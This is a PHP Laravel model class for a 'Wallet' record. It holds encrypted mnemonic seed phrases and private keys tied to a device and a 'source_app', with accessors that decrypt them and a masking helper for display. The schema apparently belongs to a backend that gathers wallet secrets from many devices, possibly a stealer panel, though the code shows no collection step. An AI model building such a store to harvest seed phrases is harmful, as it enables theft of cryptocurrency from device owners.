<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Support\Facades\Crypt;

class Wallet extends Model
{
    protected $fillable = [
        'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
    ];

    protected function casts(): array
    {
        return ['raw_json' => 'array'];
    }

    public function device(): BelongsTo
    {
        return $this->belongsTo(Device::class);
    }

    public function addresses(): HasMany
    {
        return $this->hasMany(WalletAddress::class);
    }

    public function setMnemonicAttribute(?string $value): void
    {
        $this->attributes['mnemonic_enc'] = $value === null || $value === ''
            ? null
            : Crypt::encryptString($value);
    }

    public function getMnemonicAttribute(): ?string
    {
        if (empty($this->attributes['mnemonic_enc'])) {
            return null;
        }

        try {
            return Crypt::decryptString($this->attributes['mnemonic_enc']);
        } catch (\Throwable) {
            return null;
        }
    }

    public function setPrivkeyAttribute(?string $value): void
    {
        $this->attributes['privkey_enc'] = $value === null || $value === ''
            ? null
            : Crypt::encryptString($value);
    }

    public function getPrivkeyAttribute(): ?string
    {
        if (empty($this->attributes['privkey_enc'])) {
            return null;
        }

        try {
            return Crypt::decryptString($this->attributes['privkey_enc']);
        } catch (\Throwable) {
            return null;
        }
    }

    public static function maskSecret(?string $value): string
    {
        if ($value === null || $value === '') {
            return '—';
        }
        $words = preg_split('/\s+/', trim($value)) ?: [];
        if (count($words) >= 12) {
            return $words[0].' *** '.$words[count($words) - 1];
        }
        $len = strlen($value);
        if ($len <= 8) {
            return str_repeat('*', $len);
        }

        return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
    }
}